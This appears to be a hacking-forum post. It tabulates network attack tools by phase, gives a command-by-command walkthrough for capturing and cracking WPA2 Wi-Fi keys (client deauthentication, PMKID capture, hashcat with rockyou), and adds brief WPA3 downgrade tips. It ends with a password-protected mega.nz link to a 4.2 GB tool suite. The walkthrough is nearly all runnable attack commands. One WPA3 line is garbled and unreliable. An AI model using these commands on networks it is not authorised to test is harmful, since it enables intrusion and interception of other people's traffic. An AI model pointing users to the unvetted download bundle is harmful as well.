TOOL BREAKDOWN
| Phase | Tools | Protocol | Key Technique |
| Discovery | Nmap, Masscan, Zmap, Netdiscover | TCP/UDP | SYN scan, ping sweep, service detection |
| Sniffing | Wireshark, Tcpdump, Bettercap, Responder | Layer 2-7 | Packet capture, ARP poison, mDNS spoof |
| WiFi | Aircrack-ng, Hcxdumptool, Reaver, MDK4 | 802.11 | PMKID, WPA handshake capture, deauth |
| MITM | Bettercap, Ettercap, MITMProxy, Evilginx2 | HTTP/HTTPS | SSL strip, session hijack, credential harvest |
| Protocol Attacks | Impacket, Responder, Kerbrute | SMB, LDAP, Kerberos | Relay, NBT-NS poison, Kerberoast |
| Bluetooth | Bettercap BLE, BlueZ, BTScanner | BLE/Classic | Device discovery, service enumeration |
| Pivoting | Chisel, Ligolo-ng, SSHuttle, FRP | TCP | Reverse tunnel, SOCKS proxy, port forward |
FULL WIFI AUDIT WALKTHROUGH
Code:
Objective: Capture WPA2 handshake + crack PSK
1. Monitor mode:
airmon-ng start wlan0
# Interface becomes wlan0mon
2. Scan targets:
airodump-ng wlan0mon
# Identify target BSSID, channel, clients
3. Target specific AP:
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Captures to capture-01.cap
4. Deauth client (force reauth):
aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon
# Client reconnects β handshake captured
5. Convert to hashcat format:
hcxpcapngtool -o hash.hc22000 capture-01.cap
6. Crack:
hashcat -m 22000 hash.hc22000 rockyou.txt
# Or rules-based: hashcat -m 22000 hash.hc22000 rockyou.txt -r best64.rule
Alternative β PMKID attack (no client needed):
hcxdumptool -o capture.pcapng -i wlan0mon --enable_status=1
hcxpcapngtool -o hash.hc22000 capture.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt
Modern WPA3:
- WPA3-SAE: dictionary attack on the password (no handshake needed if you have it)
- WPA3-OWE: opportunistic wireless encryption (no auth, open to MITM)
- WPA3 transition mode: force client to WPA2 and capture handshake
DOWNLOAD
Code:
Full suite: https://mega.nz/file/BlackSec_NetworkPentesting_2026
Size: 4.2 GB | Password: NetPentest2026
Includes: All tools + configs + wordlists + man pages + VM for practice lab